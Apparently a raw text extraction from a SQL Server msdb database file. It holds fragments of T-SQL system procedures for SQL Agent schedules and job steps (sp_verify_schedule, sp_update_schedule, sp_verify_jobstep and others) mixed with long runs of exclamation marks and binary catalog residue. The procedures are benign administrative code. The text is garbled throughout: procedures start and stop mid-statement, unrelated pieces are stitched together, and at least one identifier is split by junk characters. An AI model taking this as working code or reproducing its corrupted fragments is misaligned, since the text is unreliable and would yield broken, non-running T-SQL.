  IF (@return_code <> 0)
    RETURN(1) -- Failure

  -- NOTE: It's valid for active_end_time to be less than active_start_time since in this
  --       case we assume that the user wants the active time zone to span midnight.
  --       But it's not valid for active_start_date and active_end_date to be the same for recurring sec/hour/minute schedules

  IF (@active_start_time = @active_end_time and (@freq_subday_type in (0x2, 0x4, 0x8)))
  BEGIN
    SELECT @res_valid_range = FORMATMESSAGE(14202)
    RAISERROR(14266, -1, -1, '@active_end_time', @res_valid_range)
    RETURN(1) -- Failure
  END

  -- NOTE: The rest of this procedure is a SQL implementation of VerifySchedule in job.c

  IF ((@freq_type = 0x1) OR  -- FREQTYPE_ONETIME
      (@freq_type = 0x40) OR -- FREQTYPE_AUTOSTART
      (@freq_type = 0x80))   -- FREQTYPE_ONIDLE
  BEGIN
    -- Set standard defaults for non-required parameters
    SELECT @freq_interval          = 0
    SELECT @freq_subday_type       = 0
    SELECT @freq_subday_interval   = 0
    SELECT @freq_relative_interval = 0
    SELECT @freq_recurrence_factor = 0

    -- Check that a one-time schedule isn't already in the past
    -- Bug 442883: let the creation of the one-time schedule succeed but leave a disabled schedule
    /*
    IF (@freq_type = 0x1) -- FREQTYPE_ONETIME
    BEGIN
      DECLARE @current_date INT
      DECLARE @current_time INT

      -- This is an ISO format: "yyyymmdd"
      SELECT @current_date = CONVERT(INT, CONVERT(VARCHAR, GETDATE(), 112))
      SELECT @current_time = (DATEPART(hh, GETDATE()) * 10000) + (DATEPART(mi, GETDATE()) * 100) + DATEPART(ss, GETDATE())
      IF (@active_start_date < @current_date) OR ((@active_start_date = @current_date) AND (@active_start_time <= @current_time))
      BEGIN
        SELECT @res_valid_range = '> ' + CONVERT(VARCHAR, @current_date) + ' / ' + CONVERT(VARCHAR, @current_time)
        SELECT @reason = '@active_start_date = ' + CONVERT(VARCHAR, @active_start_date) + ' / @active_start_time = ' + CONVERT(VARCHAR, @active_start_time)
        RAISERROR(14266, -1, -1, @reason, @res_valid_range)
        RETURN(1) -- Failure
      END
    END
    */

    GOTO ExitProc
  END

  -- Safety net: If the sub-day-type is 0 (and we know that the schedule is not a one-time or
  --             auto-start) then set it to 1 (FREQSUBTYPE_ONCE).  If the user wanted something
  --             other than ONCE then they should have explicitly set @freq!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<( %vH>
CREATE PROCEDURE sp_update_schedule
(
  @schedule_id              INT             = NULL,     -- Must provide either this or schedule_name
  @name                     sysname         = NULL,     -- Must provide either this or schedule_id
  @new_name                 sysname         = NULL,
  @enabled                  TINYINT         = NULL,
  @freq_type                INT             = NULL,
  @freq_interval            INT             = NULL,
  @freq_subday_type         INT             = NULL,
  @freq_subday_interval     INT             = NULL,
  @freq_relative_interval   INT             = NULL,
  @freq_recurrence_factor   INT             = NULL,
  @active_start_date        INT             = NULL, 
  @active_end_date          INT             = NULL,
  @active_start_time        INT             = NULL,
  @active_end_time          INT             = NULL,
  @owner_login_name         sysname         = NULL,
  @automatic_post           BIT             = 1         -- If 1 will post notifications to all tsx servers to 
                                                        -- update all jobs that use this schedule
)
AS
BEGIN
  DECLARE @retval                   INT
  DECLARE @owner_sid                VARBINARY(85)
  DECLARE @cur_owner_sid            VARBINARY(85)
  DECLARE @x_name                   sysname
  DECLARE @enable_only_used         INT

  DECLARE @x_enabled                TINYINT
  DECLARE @x_freq_type              INT
  DECLARE @x_freq_interval          INT
  DECLARE @x_freq_subday_type       INT
  DECLARE @x_freq_subday_interval   INT
  DECLARE @x_freq_relative_interval INT
  DECLARE @x_freq_recurrence_factor INT
  DECLARE @x_active_start_date      INT
  DECLARE @x_active_end_date        INT
  DECLARE @x_active_start_time      INT
  DECLARE @x_active_end_time        INT
  DECLARE @schedule_uid             UNIQUEIDENTIFIER

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name              = LTRIM(RTRIM(@name))
  SELECT @new_name          = LTRIM(RTRIM(@new_name))
  SELECT @owner_login_name  = LTRIM(RTRIM(@owner_login_name))
  -- Turn [nullable] empty string parameters into NULLs
  IF (@new_name = N'') SELECT @new_name = NULL

   -- If the owner is supplied get the sid and check it
  IF(@owner_login_name IS NOT NULL AND @owner_login_name <> '')
  BEGIN
      -- Get the sid for @owner_login_name SID 
      --force case insensitive comparation for NT users
      SELECT @owner_sid = dbo.SQLAGENT_SUSER_SID(@owner_login_name)
    -- Cannot proceed if @owner_login_name doesn't exist
    IF(@owner_sid IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@owner_login_name', @owner_login_name)
      RETURN(1) -- Failure
    END
  END

  -- Check that we can uniquely identify the schedule. This only returns a schedule that is visible to this user
  EXECUTE @retval = msdb.dbo.sp_verify_schedule_identifiers @name_of_name_parameter = '@name',
                                                            @name_of_id_parameter   = '@schedule_id',
                                                            @schedule_name          = @name             OUTPUT,
                                                            @schedule_id            = @schedule_id      OUTPUT,
                                                            @owner_sid              = @cur_owner_sid    OUTPUT,
                                                            @orig_server_id         = NULL
  IF (@retval <> 0)
      RETURN(1) -- Failure   

  -- Is @enable the only parameter used beside jobname and jobid?
  IF ((@enabled                   IS NOT NULL) AND
       (@new_name                 IS NULL) AND
      (@freq_type                 IS NULL) AND
      (@freq_interval             IS NULL) AND
      (@freq_subday_type          IS NULL) AND
      (@freq_subday_interval      IS NULL) AND
      (@freq_relative_interval    IS NULL) AND
      (@freq_recurrence_factor    IS NULL) AND
      (@active_start_date         IS NULL) AND
      (@active_end_date           IS NULL) AND
      (@active_start_time         IS NULL) AND
      (@active_end_time           IS NULL) AND
      (@owner_login_name          IS NULL))
    SELECT @enable_only_used = 1
  ELSE
    SELECT @enable_only_used = 0
      
  -- Non-sysadmins can only update jobs schedules they own. 
  -- Members of SQLAgentReaderRole and SQLAgentOperatorRole can view job schedules, 
  -- but they should not be able to delete them
  IF ((@cur_owner_sid <> SUSER_SID())
       AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'),0) <> 1)
      AND (@enable_only_used <> 1 OR ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) <> 1))
  BEGIN
   RAISERROR(14394, -1, -1)
   RETURN(1) -- Failure
  END
  
  -- If the param @owner_login_name is null or doesn't get resolved by SUSER_SID() set it to the current owner of the schedule
  if(@owner_sid IS NULL)
      SELECT @owner_sid = @cur_owner_sid
       
   -- Set the x_ (existing) variables
  SELECT @x_name                   = name,
         @x_enabled                = enabled,
         @x_freq_type              = freq_type,
         @x_freq_interval          = freq_interval,
         @x_freq_subday_type       = freq_subday_type,
         @x_freq_subday_interval   = freq_subday_interval,
         @x_freq_relative_interval = freq_relative_interval,
         @x_freq_recurrence_factor = freq_recurrence_factor,
         @x_active_start_date      = active_start_date,
         @x_active_end_date        = active_end_date,
         @x_active_start_time      = active_start_time,
         @x_active_end_time        = active_end_time
  FROM msdb.dbo.sysschedules
  WHERE (schedule_id = @schedule_id )     
  
  
    -- Fill out the values for all non-supplied parameters from the existing values
  IF (@new_name               IS NULL) SELECT @new_name               = @x_name
  IF (@enabled                IS NULL) SELECT @enabled                = @x_enabled
  IF (@freq_type              IS NULL) SELECT @freq_type              = @x_freq_type
  IF (@freq_interval          IS NULL) SELECT @freq_interval          = @x_freq_interval
  IF (@freq_subday_type       IS NULL) SELECT @freq_subday_type       = @x_freq_subday_type
  IF (@freq_subday_interval   IS NULL) SELECT @freq_subday_interval   = @x_freq_subday_interval
  IF (@freq_relative_interval IS NULL) SELECT @freq_relative_interval = @x_freq_relative_interval
  IF (@freq_recurrence_factor IS NULL) SELECT @freq_recurrence_factor = @x_freq_recurrence_factor
  IF (@active_start_date      IS NULL) SELECT @active_start_date      = @x_active_start_date
  IF (@active_end_date        IS NULL) SELECT @active_end_date        = @x_active_end_date
  IF (@active_start_time      IS NULL) SELECT @active_start_time      = @x_active_start_time
  IF (@active_end_time        IS NULL) SELECT @active_end_time        = @x_active_end_time
      
  -- Check schedule (frequency and owner) parameters
  EXECUTE @retval = sp_verify_schedule @schedule_id             = @schedule_id,
                                       @name                    = @new_name,
                                       @enabled                 = @enabled,
                                       @freq_type               = @freq_type,
                                       @freq_interval           = @freq_interval            OUTPUT,
                                       @freq_subday_type        = @freq_subday_type         OUTPUT,
                                       @freq_subday_interval    = @freq_subday_interval     OUTPUT,
                                       @freq_relative_interval  = @freq_relative_interval   OUTPUT,
                                       @freq_recurrence_factor  = @freq_recurrence_factor   OUTPUT,
                                       @active_start_date       = @active_start_date        OUTPUT,
                                       @active_start_time       = @active_start_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<p"6YH>time        OUTPUT,
                                       @active_end_date         = @active_end_date          OUTPUT,
                                       @active_end_time         = @active_end_time          OUTPUT,
                                       @owner_sid               = @owner_sid
  IF (@retval <> 0)
    RETURN(1) -- Failure  

  -- Update the sysschedules table
  UPDATE msdb.dbo.sysschedules
  SET name                   = @new_name,
      owner_sid              = @owner_sid,
      enabled                = @enabled,
      freq_type              = @freq_type,
      freq_interval          = @freq_interval,
      freq_subday_type       = @freq_subday_type,
      freq_subday_interval   = @freq_subday_interval,
      freq_relative_interval = @freq_relative_interval,
      freq_recurrence_factor = @freq_recurrence_factor,
      active_start_date      = @active_start_date,
      active_end_date        = @active_end_date,
      active_start_time      = @active_start_time,
      active_end_time        = @active_end_time,
      date_modified          = GETDATE(),
      version_number         = version_number + 1
  WHERE (schedule_id = @schedule_id)

  SELECT @retval = @@error

 -- update any job that has repl steps
  DECLARE @job_id UNIQUEIDENTIFIER
  DECLARE jobsschedule_cursor CURSOR LOCAL FOR
  SELECT job_id
  FROM msdb.dbo.sysjobschedules
  WHERE (schedule_id = @schedule_id)
  
  IF @x_freq_type <> @freq_type
  BEGIN
    OPEN jobsschedule_cursor
    FETCH NEXT FROM jobsschedule_cursor INTO @job_id

    WHILE (@@FETCH_STATUS = 0)
    BEGIN 
      EXEC  sp_update_replication_job_parameter @job_id = @job_id,
                                                @old_freq_type = @x_freq_type,
                                                @new_freq_type = @freq_type
      FETCH NEXT FROM jobsschedule_cursor INTO @job_id
    END
    CLOSE jobsschedule_cursor
  END
  DEALLOCATE jobsschedule_cursor
  
  -- Notify SQLServerAgent of the change if this is attached to a local job
  IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobschedules AS jsched 
              JOIN msdb.dbo.sysjobservers AS jsvr
                    ON jsched.job_id = jsvr.job_id
                WHERE (jsched.schedule_id = @schedule_id)
                  AND (jsvr.server_id = 0)) )
  BEGIN 
      EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'S',
                                          @schedule_id = @schedule_id,
                                          @action_type = N'U'              
  END


  -- Instruct the tsx servers to pick up the altered schedule
  IF (@automatic_post = 1)
  BEGIN
      SELECT @schedule_uid = schedule_uid 
      FROM sysschedules 
      WHERE schedule_id = @schedule_id

      IF(NOT @schedule_uid IS NULL)
      BEGIN
          -- sp_post_msx_operation will do nothing if the schedule isn't assigned to any tsx machines 
          EXECUTE @retval = sp_post_msx_operation @operation = 'INSERT', @object_type = 'SCHEDULE', @schedule_uid = @schedule_uid
      END
  END  

  RETURN(@retval) -- 0 means success
END
(}(il_step_id,
            server,
            database_name,
            database_user_name,
            retry_attempts,
            retry_interval,
            os_run_priority,
            output_file_name,
            last_run_outcome,
            last_run_duration,
            last_run_retries,
            last_run_date,
            last_run_time,
            proxy_id,
         step_uid)
    VALUES (@job_id,
            @step_id,
            @step_name,
            @subsystem,
            @command,
            @flags,
            @additional_parameters,
            @cmdexec_success_code,
            @on_success_action,
            @on_success_step_id,
            @on_fail_action,
            @on_fail_step_id,
            @server,
            @database_name,
            @database_user_name,
            @retry_attempts,
            @retry_interval,
            @os_run_priority,
            @output_file_name,
            0,
            0,
            0,
            0,
            0,
         @proxy_id,
         @step_uid)
         
  IF @TranCounter = 0
  BEGIN
      -- start our own transaction if there is no outer transaction
      COMMIT TRANSACTION;
  END

  END TRY
  BEGIN CATCH

      -- Prepare tp echo error information to the caller.
      DECLARE @ErrorMessage NVARCHAR(400)
      DECLARE @ErrorSeverity INT
      DECLARE @ErrorState INT

      SELECT @ErrorMessage = ERROR_MESSAGE()
      SELECT @ErrorSeverity = ERROR_SEVERITY()
      SELECT @ErrorState = ERROR_STATE()
      
      IF @TranCounter = 0
      BEGIN
          -- Transaction started in procedure.
          -- Roll back complete transaction.
          ROLLBACK TRANSACTION;
      END
      RAISERROR (@ErrorMessage, -- Message text.
                  @ErrorSeverity, -- Severity.
                  @ErrorState -- State.
                  )
      RETURN (1)                  
  END CATCH
  
  -- Make sure that SQLServerAgent refreshes the job if the 'Has Steps' property has changed
  IF ((SELECT COUNT(*)
       FROM msdb.dbo.sysjobsteps
       WHERE (job_id = @job_id)) = 1)
  BEGIN
    -- NOTE: We only notify SQLServerAgent if we know the job has been cached
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobservers
                WHERE (job_id = @job_id)
                  AND (server_id = 0)))
      EXECUTE msdb.dbo.sp_sqlagent_notify @op_type       = N'J',
                                            @job_id      = @job_id,
                                            @action_type = N'U'
  END

  -- For a multi-server job, push changes to the target servers
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
  BEGIN
    EXECUTE msdb.dbo.sp_post_msx_operation 'INSERT', 'JOB', @job_id
  END

  RETURN(0) -- Success
END
LTL                             @job_id      = @job_id,
                                        @action_type = N'U'

  -- If the name was changed, make SQLServerAgent re-cache any alerts that reference the job
  -- since the alert cache contains the job name
  IF ((@job_name <> @new_name) AND (EXISTS (SELECT *
                                            FROM msdb.dbo.sysalerts
                                            WHERE (job_id = @job_id))))
  BEGIN
    DECLARE sysalerts_cache_update CURSOR LOCAL
    FOR
    SELECT id
    FROM msdb.dbo.sysalerts
    WHERE (job_id = @job_id)

    OPEN sysalerts_cache_update
    FETCH NEXT FROM sysalerts_cache_update INTO @alert_id

    WHILE (@@fetch_status = 0)
    BEGIN
      EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'A',
                                          @alert_id    = @alert_id,
                                          @action_type = N'U'
      FETCH NEXT FROM sysalerts_cache_update INTO @alert_id
    END
    DEALLOCATE sysalerts_cache_update
  END

  RETURN(@retval) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R`<( tvYiCREATE PROCEDURE sp_verify_jobstep
  @job_id             UNIQUEIDENTIFIER,
  @step_id            INT,
  @step_name          sysname,
  @subsystem          NVARCHAR(40),
  @command            NVARCHAR(max),
  @server             sysname,
  @on_success_action  TINYINT,
  @on_success_step_id INT,
  @on_fail_action     TINYINT,
  @on_fail_step_id    INT,
  @os_run_priority    INT,
  @database_name      sysname OUTPUT,
  @database_user_name sysname OUTPUT,
  @flags              INT,
  @output_file_name   NVARCHAR(200),
  @proxy_id         INT 
AS
BEGIN
  DECLARE @max_step_id             INT
  DECLARE @retval                  INT
  DECLARE @valid_values            VARCHAR(50)
  DECLARE @database_name_temp      NVARCHAR(258)
  DECLARE @database_user_name_temp NVARCHAR(256)
  DECLARE @temp_command            NVARCHAR(max)
  DECLARE @iPos                    INT
  DECLARE @create_count            INT
  DECLARE @destroy_count           INT
  DECLARE @is_olap_subsystem       BIT
  DECLARE @owner_sid               VARBINARY(85)
  DECLARE @owner_name              sysname
  -- Remove any leading/trailing spaces from parameters
  SELECT @subsystem        = LTRIM(RTRIM(@subsystem))
  SELECT @server           = LTRIM(RTRIM(@server))
  SELECT @output_file_name = LTRIM(RTRIM(@output_file_name))

  -- Get current maximum step id
  SELECT @max_step_id = ISNULL(MAX(step_id), 0)
  FROM msdb.dbo.sysjobsteps
  WHERE (job_id = @job_id)

  -- Check step id
  IF (@step_id < 1) OR (@step_id > @max_step_id + 1)
  BEGIN
    SELECT @valid_values = '1..' + CONVERT(VARCHAR, @max_step_id + 1)
    RAISERROR(14266, -1, -1, '@step_id', @valid_values)
    RETURN(1) -- Failure
  END

  -- Check subsystem
  EXECUTE @retval = sp_verify_subsystem @subsystem
  IF (@retval <> 0)
    RETURN(1) -- Failure
  
  --check if proxy is allowed for this subsystem for current user
  IF (@proxy_id IS NOT NULL)
  BEGIN
    --get the job owner
    SELECT @owner_sid = owner_sid FROM sysjobs
    WHERE  job_id = @job_id
    IF @owner_sid = 0xFFFFFFFF
    BEGIN
      --ask to verify for the special account
      EXECUTE @retval = sp_verify_proxy_permissions 
        @subsystem_name = @subsystem, 
        @proxy_id = @proxy_id, 
        @name = NULL, 
        @raise_error = 1, 
        @allow_disable_proxy = 1, 
        @verify_special_account = 1
      IF (@retval <> 0)
        RETURN(1) -- Failure
    END
    ELSE
    BEGIN
      SELECT @owner_name = SUSER_SNAME(@owner_sid)
      EXECUTE @retval = sp_verify_proxy_permissions 
      @subsystem_name = @subsystem, 
      @proxy_id = @proxy_id, 
      @name = @owner_name, 
      @raise_error = 1, 
      @allow_disable_proxy = 1
      IF (@retval <> 0)
        RETURN(1) -- Failure
    END
  END

  --Only sysadmin can specify @output_file_name 
  IF (@output_file_name IS NOT NULL) AND  (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)
  BEGIN
    RAISERROR(14582, -1, -1)
    RETURN(1) -- Failure    
  END

  --Determmine if this is a olap subsystem jobstep
  IF ( UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) in (N'ANALYSISQUERY', N'ANALYSISCOMMAND') )
    SELECT @is_olap_subsystem = 1
  ELSE
    SELECT @is_olap_subsystem = 0

  -- Check command length
  -- not necessary now, command can be any length
/*
  IF ((DATALENGTH(@command) / 2) > 3200)
  BEGIN
    RAISERROR(14250, 16, 1, '@command', 3200)
    RETURN(1) -- Failure
  END
*/
  -- For a VBScript command, check that object creations are paired with object destructions
  IF ((UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'ACTIVESCRIPTING') AND (@database_name = N'VBScript'))
  BEGIN
    SET @temp_command = @command

    SELECT @create_count = 0
    SELECT @iPos = PATINDEX('%[Cc]reate[Oo]bject[ (]%', @temp_command)
    WHILE(@iPos > 0)
    BEGIN
      SELECT @temp_command = SUBSTRING(@temp_command, @iPos + 1, DATALENGTH(@temp_command) / 2)
      SELECT @iPos = PATINDEX('%[Cc]reate[Oo]bject[ (]%', @temp_command)
      SELECT @create_count = @create_count + 1
    END

    -- restore @temp_command for next loop
    SET @temp_command = @command
    
    SELECT @destroy_count = 0
    SELECT @iPos = PATINDEX('%[Ss]et %=%[Nn]othing%', @temp_command)
    WHILE(@iPos > 0)
    BEGIN
      SELECT @temp_command = SUBSTRING(@temp_command, @iPos + 1, DATALENGTH(@temp_command) / 2)
      SELECT @iPos = PATINDEX('%[Ss]et %=%[Nn]othing%', @temp_command)
      SELECT @destroy_count = @destroy_count + 1
    END

    IF(@create_count > @destroy_count)
    BEGIN
      RAISERROR(14277, -1, -1)
      RETURN(1) -- Failure
    END
  END

  -- Check step name
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobsteps
              WHERE (job_id = @job_id)
                AND (step_name = @step_name)))
  BEGIN
    RAISERROR(14261, -1, -1, '@step_name', @step_name)
    RETURN(1) -- Failure
  END

  -- Check on-success action/step
  IF (@on_success_action <> 1) AND -- Quit Qith Success
     (@on_success_action <> 2) AND -- Quit Qith Failure
     (@on_success_action <> 3) AND -- Goto Next Step
     (@on_success_action <> 4)     -- Goto Step
  BEGIN
    RAISERROR(14266, -1, -1, '@on_success_action', '1, 2, 3, 4')
    RETURN(1) -- Failure
  END
  IF (@on_success_action = 4) AND
     ((@on_success_step_id < 1) OR (@on_success_step_id = @step_id))
  BEGIN
    -- NOTE: We allow forward references to non-existant steps to prevent the user from
    --       having to make a second update pass to fix up the flow
    RAISERROR(14235, -1, -1, '@on_success_step', @step_id)
    RETURN(1) -- Failure
  END

  -- Check on-fail action/step
  IF (@on_fail_action <> 1) AND -- Quit With Success
     (@on_fail_action <> 2) AND -- Quit With Failure
     (@on_fail_action <> 3) AND -- Goto Next Step
     (@on_fail_action <> 4)     -- Goto Step
  BEGIN
    RAISERROR(14266, -1, -1, '@on_failure_action', '1, 2, 3, 4')
    RETURN(1) -- Failure
  END
  IF (@on_fail_action = 4) AND
     ((@on_fail_step_id < 1) OR (@on_fail_step_id = @step_id))
  BEGIN
    -- NOTE: We allow forward references to non-existant steps to prevent the user from
    --       having to make a second update pass to fix up the flow
    RAISERROR(14235, -1, -1, '@on_failure_step', @step_id)
    RETURN(1) -- Failure
  END

  -- Warn the user about forward references
  IF ((@on_success_action = 4) AND (@on_success_step_id > @max_step_id))
    RAISERROR(14236, 0, 1, '@on_success_step_id')
  IF ((@on_fail_action = 4) AND (@on_fail_step_id > @max_step_id))
    RAISERROR(14236, 0, 1, '@on_fail_step_id')

  --Special case the olap subsystem. It can have any server name. 
  --Default it to the local server if @server is null 
  IF(@is_olap_subsystem = 1)
  BEGIN
    IF(@server IS NULL)
    BEGIN
    --TODO: needs error better message ? >> 'Specify the OLAP server name in the %s parameter'
      --Must specify the olap server name
      RAISERROR(14262, -1, -1, '@server', @server)
      RETURN(1) -- Failure    
    END
  END
  ELSE
  BEGIN
    -- Check server (this is the replication server, NOT the job-target server)
    IF (@server IS NOT NULL) AND (NOT EXISTS (SELECT *
                                              FROM master.dbo.sysservers
                                              WHERE (UPPER(srvname) = UPPER(@server))))
    BEGIN
      RAISERROR(14234, -1, -1, '@server', 'sp_helpserver')
      RETURN(1) -- Failure
    END
  END

  -- Check run priority: must be a valid value to pass to SetThreadPriority:
  -- [-15 = IDLE, -1 = BELOW_NORMAL, 0 = NORMAL, 1 = ABOVE_NORMAL, 15 = TIME_CRITICAL]
  IF (@os_run_priority NOT IN (-15, -1, 0, 1, 15))
  BEGIN
    RAISERROR(14266, -1, -1, '@os_run_priority', '-15, -1, 0, 1, 15')
    RETURN(1) -- Failure
  END

  -- Check flags
  IF ((@flags < 0) OR (@flags > 114))
  BEGIN
    RAISERROR(14266, -1, -1, '@flags', '0..114')
    RETURN(1) -- Failure
  END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`0B" ]|00J@F ~HZU\tFK__sysjobact__job_i__4AB81AF000)?KU >Z,^Nsysjobsteps00bcLU Z#,^Vsysjobstepslogs00MPKbcLZZ\tPK__sysjobst__9E2397E06FA0D04D00ԫND bcLZ[\tDF__sysjobste__date___4E88ABD400
|OD bcLZ]\tDF__sysjobste__date___4F7CD00D00FpP@F bcLZc\tFK__sysjobste__step___5070F44600eQU Zf,^Psysschedules00<YRPKeQZf\tPK__syssched__C46A8A6F9F7D6ED0004wKP [,^Xsp_help_schedule008YkLP [,^^sp_help_jobschedule00q}_MP [+,^Rsp_verify_job00SNP u[7,^Lsp_add_job00GOP ;[A,^Rsp_update_job00;PP 	[R,^Rsp_delete_job00U0QP [a,^jsp_get_composite_job_info002$RP [u,^Nsp_help_job00*BKU R[
,^psysmail_attachments_transfer00O6LPK*BKR[W\tPK__sysmail___78E6FD33C37F360000Gs*MD *BKR[Y\tDF__sysmail_a__creat__4D2A734700NTRw!S[5,^`trig_sysmail_profile00OTR֣S[<,^btrig_principalprofile00PTR\FT[H,^`trig_sysmail_account00+PTRe!T[W,^ntrig_sysmail_profileaccount00d(QTRw!T[k,^ntrig_sysmail_profile_delete00 
KU 
h[
,^Trestorehistory00DLPK 
Kh[W\tPK__restoreh__FDC4B031A97E0FE600iLF  
Kh[X\tFK__restorehi__backu__4CF5691D00VMU Ə[2,^Nrestorefile00NF VMƏ[\\tFK__restorefi__resto__4EDDB18F00OU [F,^Xrestorefilegroup00PF O[c\tFK__restorefi__resto__50C5FA0100:QU `[i,^Tlogmarkhistory00JP &[,^sp_syscollector_event_onpackageupdate00:KP [,^rsp_syscollector_event_onerror00^LP [$,^~sp_syscollector_event_onstatsupdate00,M,FNr[0,^fn_syscollector_find_collection_set_root00eNIFE[]\fn_syscollector_get_execution_log_tree00˜OIF[^\~fn_syscollector_get_execution_stats00PIFO[d\fn_syscollector_get_execution_details00QV [f\vsyscollector_execution_log_full00I8yRP [z,^sp_syscollector_delete_execution_log_tree000KP \,^nsp_syspolicy_add_target_set00TLP \ ,^tsp_syspolicy_update_target_set00yMP \-,^tsp_syspolicy_delete_target_set00;sNP \:,^zsp_syspolicy_add_target_set_level00tgOP u\C,^sp_syspolicy_update_target_set_level00[PFN\U,^psyspolicy_fn_eventing_filter00	PQFN\d,^psyspolicy_fn_filter_complete00.DRTRs{Fk\w,^syspolicy_insert_target_set_level_trigger00f&bKP u^\,^sp_sysutility_mi_create_job_validate_wmi00JVLP _\,^sp_sysutility_mi_create_cache_directory00nJMU _\),^sysutility_mi_configuration_internal00>NPKnJM_\[\pk_sysutility_mi_configuration_internal_configuration_id00J2OV s`\]\nsysutility_mi_configuration00&PP ra\P,^sp_sysutility_mi_add_ucp_registration00QP ab\_,^sp_sysutility_mi_remove_ucp_registration00#RFNb\s,^fn_sysutility_ucp_get_instance_is_mi00<-KD X\G\U\tDF__sysutilit__set_n__4B2D1C3C00u@!LD X\G\W\tDF__sysutilit__proce__4C21407500dMU K\&,^sysutility_ucp_dac_file_space_health_internal00	NPKdML\Z\PK_sysutility_ucp_dac_file_space_health_internal_name00 ND dML\\\tDF__sysutilit__over___4EFDAD2000YOD dML\]\tDF__sysutilit__under__4FF1D15900PD dML\d\tDF__sysutilit__set_n__50E5F59200QD dML\e\tDF__sysutilit__proce__51DA19CBackageupdate00:KP [[rsp_syscollector_event_onerror00^LP [[~sp_syscollector_event_onstatsupdate00,M,FNr[r[fn_syscollector_find_collection_set_root00eNIFE[E[fn_syscollector_get_exec$n	Hn6	h,&`~`t*Nxv~
$"d,
f

h
0
`K!Oi
f/me
+d]me
+d]me
+d]me
+d]me
+d]me
+d]me
+d]me
+d]me
+d]	me
+d]
+d]+&n+j8+j8߭,9߭,9߭,9	߭,9
߭,ە
-d]-d]-eE-eE-9-9-9-9-9-9-9-9-9	-9
-9-9-9
-9-9-9-AD-AD-AD-AD-AD-AD-AD-ȃc-ȃcQ.d]Q.d]Q.eEQ.eEQ.9Q.9Q.9Q.9Q.9Q.9Q.9	Q.9
Q.9Q.9Q.9
Q.9Q.9Q.9Q.ADQ.ADQ.ADQ.ADQ.ADQ.ADQ.ȃcQ.ȃc/(C/jJ/Q./-/AD/AD/1oV/ە
>0d]>0d]>0eE>0eE>0(C>0(C>0(C>0(C
>0(C>0(C>0$k>0+\>0+\>0>0&n>0AD>0AD>0AD>0AD>0AD>0AD>0AD>0ە
>0ȃc>0ȃc>0iM>0)?K>0)?K>0)?Kb1d]b1d]b1&nb1ADb1ADb1ADb1ە
b1iM52AD52AD52AD52AD52ە
'.''.''.'`/'`/'`/'40'X1'}v2',
,,
,	aS,Dڎ'aS,Dڎ'aS,Dڎ'aS,Dڎ'aS,Dڎ'aS,Dڎ'aS,Dڎ'G-`I#G-'G-'G-'G-aS,;.aS,;.aS,//Dڎ'//Dڎ'//Dڎ'//Dڎ'//Dڎ'//'%"//'%"//&//|//|//|E $0Dڎ'E $0Dڎ'E $0Dڎ'E $0Dڎ'~D1;.~D1aS,~D1aS,~D1aS,~D1&~D1E $0~D1|~D1|~D1|~D1|h2Dڎ'h2Dڎ'h2Dڎ'7,A7,(C7,SN7,eQ7,eQ7,>07,ĄX97,H7,@.A.A.A.A.A.A.7,.GO.eQ.$.$
.H.;P.A.A.A.A
.A.A.A.7,.GO.eQ.HT:0T:0AT:0AT:0A
T:0$T:0$
T:0nT:0H^1;P^1GO^1Hp+H+>,O>U-IqFU-/
ݐ.@/,A&y0eB9Jm1Crna2(DR5Dj3R5Dj3R5Dj3
R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3R5Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3	
G6Dj3

G6Dj3
G6Dj3
G6Dj3

G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3
G6Dj3,
,,
,	aS,Dڎ'aS,Dڎ'


d

lh8Tp
